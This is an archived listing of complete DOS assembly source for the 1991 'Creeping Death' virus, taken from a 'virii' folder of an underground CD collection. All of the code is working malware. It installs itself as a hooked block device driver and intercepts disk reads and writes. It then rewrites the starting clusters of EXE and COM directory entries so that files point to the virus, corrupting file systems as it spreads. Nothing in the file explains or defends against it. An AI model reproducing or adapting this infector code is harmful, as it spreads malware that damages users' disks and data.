home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / c / cdset.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  10.7 KB  |  487 lines

  1. ;        Creeping Death  V 1.0
  2.  
  3. ;
  4.  
  5. ;        (C) Copyright 1991 by VirusSoft Corp.
  6.  
  7.  
  8.  
  9. i13org    =    5f8h
  10.  
  11. i21org    =    5fch
  12.  
  13.  
  14.  
  15.          org   100h
  16.  
  17.  
  18.  
  19.          mov   sp,600h
  20.  
  21.          inc   counter
  22.  
  23.          xor   cx,cx
  24.  
  25.          mov   ds,cx
  26.  
  27.          lds   ax,[0c1h]
  28.  
  29.          add   ax,21h
  30.  
  31.          push  ds
  32.  
  33.          push  ax
  34.  
  35.          mov   ah,30h
  36.  
  37.          call  jump
  38.  
  39.          cmp   al,4
  40.  
  41.          sbb   si,si
  42.  
  43.          mov   drive+2,byte ptr -1
  44.  
  45.          mov   bx,60h
  46.  
  47.          mov   ah,4ah
  48.  
  49.          call  jump
  50.  
  51.  
  52.  
  53.          mov   ah,52h
  54.  
  55.          call  jump
  56.  
  57.          push  es:[bx-2]
  58.  
  59.          lds   bx,es:[bx]
  60.  
  61.  
  62.  
  63. search:  mov   ax,[bx+si+15h]
  64.  
  65.          cmp   ax,70h
  66.  
  67.          jne   next
  68.  
  69.          xchg  ax,cx
  70.  
  71.          mov   [bx+si+18h],byte ptr -1
  72.  
  73.          mov   di,[bx+si+13h]
  74.  
  75.          mov   [bx+si+13h],offset header
  76.  
  77.          mov   [bx+si+15h],cs
  78.  
  79. next:    lds   bx,[bx+si+19h]
  80.  
  81.          cmp   bx,-1
  82.  
  83.          jne   search
  84.  
  85.          jcxz  install
  86.  
  87.  
  88.  
  89.          pop   ds
  90.  
  91.          mov   ax,ds
  92.  
  93.          add   ax,[3]
  94.  
  95.          inc   ax
  96.  
  97.          mov   dx,cs
  98.  
  99.          dec   dx
  100.  
  101.          cmp   ax,dx
  102.  
  103.          jne   no_boot
  104.  
  105.          add   [3],61h
  106.  
  107. no_boot: mov   ds,dx
  108.  
  109.          mov   [1],8
  110.  
  111.  
  112.  
  113.          mov   ds,cx
  114.  
  115.          les   ax,[di+6]
  116.  
  117.          mov   cs:str_block,ax
  118.  
  119.          mov   cs:int_block,es
  120.  
  121.  
  122.  
  123.          cld
  124.  
  125.          mov   si,1
  126.  
  127. scan:    dec   si
  128.  
  129.          lodsw
  130.  
  131.          cmp   ax,1effh
  132.  
  133.          jne   scan
  134.  
  135.          mov   ax,2cah
  136.  
  137.          cmp   [si+4],ax
  138.  
  139.          je    right
  140.  
  141.          cmp   [si+5],ax
  142.  
  143.          jne   scan
  144.  
  145. right:   lodsw
  146.  
  147.          push  cs
  148.  
  149.          pop   es
  150.  
  151.          mov   di,offset modify+1
  152.  
  153.          stosw
  154.  
  155.          xchg  ax,si
  156.  
  157.          mov   di,offset i13org
  158.  
  159.          cli
  160.  
  161.          movsw
  162.  
  163.          movsw
  164.  
  165.  
  166.  
  167.          mov   dx,0c000h
  168.  
  169. fdsk1:   mov   ds,dx
  170.  
  171.          xor   si,si
  172.  
  173.          lodsw
  174.  
  175.          cmp   ax,0aa55h
  176.  
  177.          jne   fdsk4
  178.  
  179.          cbw
  180.  
  181.          lodsb
  182.  
  183.          mov   cl,9
  184.  
  185.          sal   ax,cl
  186.  
  187. fdsk2:   cmp   [si],6c7h
  188.  
  189.          jne   fdsk3
  190.  
  191.          cmp   [si+2],4ch
  192.  
  193.          jne   fdsk3
  194.  
  195.          push  dx
  196.  
  197.          push  [si+4]
  198.  
  199.          jmp   short death
  200.  
  201. install: int   20h
  202.  
  203. file:    db    "c:",255,0
  204.  
  205. fdsk3:   inc   si
  206.  
  207.          cmp   si,ax
  208.  
  209.          jb    fdsk2
  210.  
  211. fdsk4:   inc   dx
  212.  
  213.          cmp   dh,0f0h
  214.  
  215.          jb    fdsk1
  216.  
  217.  
  218.  
  219.          sub   sp,4
  220.  
  221. death:   push  cs
  222.  
  223.          pop   ds
  224.  
  225.          mov   bx,[2ch]
  226.  
  227.          mov   es,bx
  228.  
  229.          mov   ah,49h
  230.  
  231.          call  jump
  232.  
  233.          xor   ax,ax
  234.  
  235.          test  bx,bx
  236.  
  237.          jz    boot
  238.  
  239.          mov   di,1
  240.  
  241. seek:    dec   di
  242.  
  243.          scasw
  244.  
  245.          jne   seek
  246.  
  247.          lea   si,[di+2]
  248.  
  249.          jmp   short exec
  250.  
  251. boot:    mov   es,[16h]
  252.  
  253.          mov   bx,es:[16h]
  254.  
  255.          dec   bx
  256.  
  257.          xor   si,si
  258.  
  259. exec:    push  bx
  260.  
  261.          mov   bx,offset param
  262.  
  263.          mov   [bx+4],cs
  264.  
  265.          mov   [bx+8],cs
  266.  
  267.          mov   [bx+12],cs
  268.  
  269.          pop   ds
  270.  
  271.          push  cs
  272.  
  273.          pop   es
  274.  
  275.  
  276.  
  277.          mov   di,offset f_name
  278.  
  279.          push  di
  280.  
  281.          mov   cx,40
  282.  
  283.          rep   movsw
  284.  
  285.          push  cs
  286.  
  287.          pop   ds
  288.  
  289.  
  290.  
  291.          mov   ah,3dh
  292.  
  293.          mov   dx,offset file
  294.  
  295.          call  jump
  296.  
  297.          pop   dx
  298.  
  299.  
  300.  
  301.          mov   ax,4b00h
  302.  
  303.          call  jump
  304.  
  305.          mov   ah,4dh
  306.  
  307.          call  jump
  308.  
  309.          mov   ah,4ch
  310.  
  311.  
  312.  
  313. jump:    pushf
  314.  
  315.          call  dword ptr cs:[i21org]
  316.  
  317.          ret
  318.  
  319.  
  320.  
  321.  
  322.  
  323. ;--------Installation complete
  324.  
  325.  
  326.  
  327. i13pr:   mov   ah,3
  328.  
  329.          jmp   dword ptr cs:[i13org]
  330.  
  331.  
  332.  
  333.  
  334.  
  335. main:    push  ax            ; driver
  336.  
  337.          push  cx            ; strategy block
  338.  
  339.          push  dx
  340.  
  341.          push  ds
  342.  
  343.          push  si
  344.  
  345.          push  di
  346.  
  347.  
  348.  
  349.          push  es
  350.  
  351.          pop   ds
  352.  
  353.          mov   al,[bx+2]
  354.  
  355.  
  356.  
  357.          cmp   al,4          ; Input
  358.  
  359.          je    input
  360.  
  361.          cmp   al,8
  362.  
  363.          je    output
  364.  
  365.          cmp   al,9
  366.  
  367.          je    output
  368.  
  369.  
  370.  
  371.          call  in
  372.  
  373.          cmp   al,2          ; Build BPB
  374.  
  375.          jne   ppp           ;
  376.  
  377.          lds   si,[bx+12h]
  378.  
  379.          mov   di,offset bpb_buf
  380.  
  381.          mov   es:[bx+12h],di
  382.  
  383.          mov   es:[bx+14h],cs
  384.  
  385.          push  es
  386.  
  387.          push  cs
  388.  
  389.          pop   es
  390.  
  391.          mov   cx,16
  392.  
  393.          rep   movsw
  394.  
  395.          pop   es
  396.  
  397.          push  cs
  398.  
  399.          pop   ds
  400.  
  401.          mov   al,[di+2-32]
  402.  
  403.          cmp   al,2
  404.  
  405.          adc   al,0
  406.  
  407.          cbw
  408.  
  409.          cmp   [di+8-32],0
  410.  
  411.          je    m32
  412.  
  413.          sub   [di+8-32],ax
  414.  
  415.          jmp   short ppp
  416.  
  417. m32:     sub   [di+15h-32],ax
  418.  
  419.          sbb   [di+17h-32],0
  420.  
  421.  
  422.  
  423. ppp:     pop   di
  424.  
  425.          pop   si
  426.  
  427.          pop   ds
  428.  
  429.          pop   dx
  430.  
  431.          pop   cx
  432.  
  433.          pop   ax
  434.  
  435. rts:     retf
  436.  
  437.  
  438.  
  439. output:  mov   cx,0ff09h
  440.  
  441.          call  check
  442.  
  443.          jz    inf_sec
  444.  
  445.          call  in
  446.  
  447.          jmp   short inf_dsk
  448.  
  449.  
  450.  
  451. inf_sec: jmp   _inf_sec
  452.  
  453. read:    jmp   _read
  454.  
  455. read_:   add   sp,16
  456.  
  457.          jmp   short ppp
  458.  
  459.  
  460.  
  461. input:   call  check
  462.  
  463.          jz    read
  464.  
  465. inf_dsk: mov   byte ptr [bx+2],4
  466.  
  467.          cld
  468.  
  469.          lea   si,[bx+0eh]
  470.  
  471.          mov   cx,8
  472.  
  473. save:    lodsw
  474.  
  475.          push  ax
  476.  
  477.          loop  save
  478.  
  479.          mov   [bx+14h],1
  480.  
  481.          call  driver
  482.  
  483.          jnz   read_
  484.  
  485.          mov   byte ptr [bx+2],2
  486.  
  487.          call  in
  488.  
  489.          lds   si,[bx+12h]
  490.  
  491.          mov   ax,[si+6]
  492.  
  493.          add   ax,15
  494.  
  495.          mov   cl,4
  496.  
  497.          shr   ax,cl
  498.  
  499.          mov   di,[si+0bh]
  500.  
  501.          add   di,di
  502.  
  503.          stc
  504.  
  505.          adc   di,ax
  506.  
  507.          push  di
  508.  
  509.          cwd
  510.  
  511.          mov   ax,[si+8]
  512.  
  513.          test  ax,ax
  514.  
  515.          jnz   more
  516.  
  517.          mov   ax,[si+15h]
  518.  
  519.          mov   dx,[si+17h]
  520.  
  521. more:    xor   cx,cx
  522.  
  523.          sub   ax,di
  524.  
  525.          sbb   dx,cx
  526.  
  527.          mov   cl,[si+2]
  528.  
  529.          div   cx
  530.  
  531.          cmp   cl,2
  532.  
  533.          sbb   ax,-1
  534.  
  535.          push  ax
  536.  
  537.          call  convert
  538.  
  539.          mov   byte ptr es:[bx+2],4
  540.  
  541.          mov   es:[bx+14h],ax
  542.  
  543.          call  driver
  544.  
  545. again:   lds   si,es:[bx+0eh]
  546.  
  547.          add   si,dx
  548.  
  549.          sub   dh,cl
  550.  
  551.          adc   dx,ax
  552.  
  553.          mov   cs:gad+1,dx
  554.  
  555.          cmp   cl,1
  556.  
  557.          je    small
  558.  
  559.          mov   ax,[si]
  560.  
  561.          and   ax,di
  562.  
  563.          cmp   ax,0fff7h
  564.  
  565.          je    bad
  566.  
  567.          cmp   ax,0ff7h
  568.  
  569.          je    bad
  570.  
  571.          cmp   ax,0ff70h
  572.  
  573.          jne   ok
  574.  
  575. bad:     pop   ax
  576.  
  577.          dec   ax
  578.  
  579.          push  ax
  580.  
  581.          call  convert
  582.  
  583.          jmp   short again
  584.  
  585. small:   not   di
  586.  
  587.          and   [si],di
  588.  
  589.          pop   ax
  590.  
  591.          push  ax
  592.  
  593.          inc   ax
  594.  
  595.          push  ax
  596.  
  597.          mov   dx,0fh
  598.  
  599.          test  di,dx
  600.  
  601.          jz    here
  602.  
  603.          inc   dx
  604.  
  605.          mul   dx
  606.  
  607. here:    or    [si],ax
  608.  
  609.          pop   ax
  610.  
  611.          call  convert
  612.  
  613.          mov   si,es:[bx+0eh]
  614.  
  615.          add   si,dx
  616.  
  617.          mov   ax,[si]
  618.  
  619.          and   ax,di
  620.  
  621. ok:      mov   dx,di
  622.  
  623.          dec   dx
  624.  
  625.          and   dx,di
  626.  
  627.          not   di
  628.  
  629.          and   [si],di
  630.  
  631.          or    [si],dx
  632.  
  633.  
  634.  
  635.          cmp   ax,dx
  636.  
  637.          pop   ax
  638.  
  639.          pop   di
  640.  
  641.          mov   cs:pointer+1,ax
  642.  
  643.          je    _read_
  644.  
  645.          mov   dx,[si]
  646.  
  647.          push  ds
  648.  
  649.          push  si
  650.  
  651.          call  write
  652.  
  653.          pop   si
  654.  
  655.          pop   ds
  656.  
  657.          jnz   _read_
  658.  
  659.          call  driver
  660.  
  661.          cmp   [si],dx
  662.  
  663.          jne   _read_
  664.  
  665.          dec   ax
  666.  
  667.          dec   ax
  668.  
  669.          mul   cx
  670.  
  671.          add   ax,di
  672.  
  673.          adc   dx,0
  674.  
  675.          push  es
  676.  
  677.          pop   ds
  678.  
  679.          mov   [bx+12h],2
  680.  
  681.          mov   [bx+14h],ax
  682.  
  683.          test  dx,dx
  684.  
  685.          jz    less
  686.  
  687.          mov   [bx+14h],-1
  688.  
  689.          mov   [bx+1ah],ax
  690.  
  691.          mov   [bx+1ch],dx
  692.  
  693. less:    mov   [bx+10h],cs
  694.  
  695.          mov   [bx+0eh],100h
  696.  
  697.          call  write
  698.  
  699.  
  700.  
  701. _read_:  std
  702.  
  703.          lea   di,[bx+1ch]
  704.  
  705.          mov   cx,8
  706.  
  707. load:    pop   ax
  708.  
  709.          stosw
  710.  
  711.          loop  load
  712.  
  713. _read:   call  in
  714.  
  715.  
  716.  
  717.          mov   cx,9
  718.  
  719. _inf_sec:
  720.  
  721.          mov   di,es:[bx+12h]
  722.  
  723.          lds   si,es:[bx+0eh]
  724.  
  725.          sal   di,cl
  726.  
  727.          xor   cl,cl
  728.  
  729.          add   di,si
  730.  
  731.          xor   dl,dl
  732.  
  733.          push  ds
  734.  
  735.          push  si
  736.  
  737.          call  find
  738.  
  739.          jcxz  no_inf
  740.  
  741.          call  write
  742.  
  743.          and   es:[bx+4],byte ptr 07fh
  744.  
  745. no_inf:  pop   si
  746.  
  747.          pop   ds
  748.  
  749.          inc   dx
  750.  
  751.          call  find
  752.  
  753.          jmp   ppp
  754.  
  755.  
  756.  
  757. ;--------Subroutines
  758.  
  759.  
  760.  
  761. find:    mov   ax,[si+8]
  762.  
  763.          cmp   ax,"XE"
  764.  
  765.          jne   com
  766.  
  767.          cmp   [si+10],al
  768.  
  769.          je    found
  770.  
  771. com:     cmp   ax,"OC"
  772.  
  773.          jne   go_on
  774.  
  775.          cmp   byte ptr [si+10],"M"
  776.  
  777.          jne   go_on
  778.  
  779. found:   test  [si+1eh],0ffc0h ; >4MB
  780.  
  781.          jnz   go_on
  782.  
  783.          test  [si+1dh],03ff8h ; <2048B
  784.  
  785.          jz    go_on
  786.  
  787.          test  [si+0bh],byte ptr 1ch
  788.  
  789.          jnz   go_on
  790.  
  791.          test  dl,dl
  792.  
  793.          jnz   rest
  794.  
  795. pointer: mov   ax,1234h
  796.  
  797.          cmp   ax,[si+1ah]
  798.  
  799.          je    go_on
  800.  
  801.          xchg  ax,[si+1ah]
  802.  
  803. gad:     xor   ax,1234h
  804.  
  805.          mov   [si+14h],ax
  806.  
  807.          loop  go_on
  808.  
  809. rest:    xor   ax,ax
  810.  
  811.          xchg  ax,[si+14h]
  812.  
  813.          xor   ax,cs:gad+1
  814.  
  815.          mov   [si+1ah],ax
  816.  
  817. go_on:  ;rol   cs:gad+1,1
  818.  
  819.          db    2eh,0d1h,6
  820.  
  821.          dw    offset gad+1
  822.  
  823.          add   si,32
  824.  
  825.          cmp   di,si
  826.  
  827.          jne   find
  828.  
  829.          ret
  830.  
  831.  
  832.  
  833. check:   mov   ah,[bx+1]
  834.  
  835. drive:   cmp   ah,-1
  836.  
  837.          mov   cs:[drive+2],ah
  838.  
  839.          jne   changed
  840.  
  841.          push  [bx+0eh]
  842.  
  843.          mov   byte ptr [bx+2],1
  844.  
  845.          call  in
  846.  
  847.          cmp   byte ptr [bx+0eh],1
  848.  
  849.          pop   [bx+0eh]
  850.  
  851.          mov   [bx+2],al
  852.  
  853. changed: ret
  854.  
  855.  
  856.  
  857. write:   cmp   byte ptr es:[bx+2],8
  858.  
  859.          jae   in
  860.  
  861.          mov   byte ptr es:[bx+2],4
  862.  
  863.          mov   si,70h
  864.  
  865.          mov   ds,si
  866.  
  867. modify:  mov   si,1234h
  868.  
  869.          push  [si]
  870.  
  871.          push  [si+2]
  872.  
  873.          mov   [si],offset i13pr
  874.  
  875.          mov   [si+2],cs
  876.  
  877.          call  in
  878.  
  879.          pop   [si+2]
  880.  
  881.          pop   [si]
  882.  
  883.          ret
  884.  
  885.  
  886.  
  887. driver:  mov   es:[bx+12h],1
  888.  
  889. in:
  890.  
  891.          db    09ah
  892.  
  893. str_block:
  894.  
  895.          dw    ?,70h
  896.  
  897.          db    09ah
  898.  
  899. int_block:
  900.  
  901.          dw    ?,70h
  902.  
  903.          test  es:[bx+4],byte ptr 80h
  904.  
  905.          ret
  906.  
  907.  
  908.  
  909. convert: cmp   ax,0ff0h
  910.  
  911.          jae   fat_16
  912.  
  913.          mov   si,3
  914.  
  915.          xor   cs:[si+gad-1],si
  916.  
  917.          mul   si
  918.  
  919.          shr   ax,1
  920.  
  921.          mov   di,0fffh
  922.  
  923.          jnc   cont
  924.  
  925.          mov   di,0fff0h
  926.  
  927.          jmp   short cont
  928.  
  929. fat_16:  mov   si,2
  930.  
  931.          mul   si
  932.  
  933.          mov   di,0ffffh
  934.  
  935. cont:    mov   si,512
  936.  
  937.          div   si
  938.  
  939. header:  inc   ax
  940.  
  941.          ret
  942.  
  943.  
  944.  
  945. counter: dw    0
  946.  
  947.  
  948.  
  949.          dw    842h
  950.  
  951.          dw    offset main
  952.  
  953.          dw    offset rts
  954.  
  955.          db    7fh
  956.  
  957.  
  958.  
  959. param:   dw    0,80h,?,5ch,?,6ch,?
  960.  
  961.  
  962.  
  963. bpb_buf: db    32 dup(?)
  964.  
  965. f_name:  db    80 dup(?)
  966.  
  967.  
  968.  
  969. ;--------The End.
  970.  
  971.  
  972.  
  973. MsDos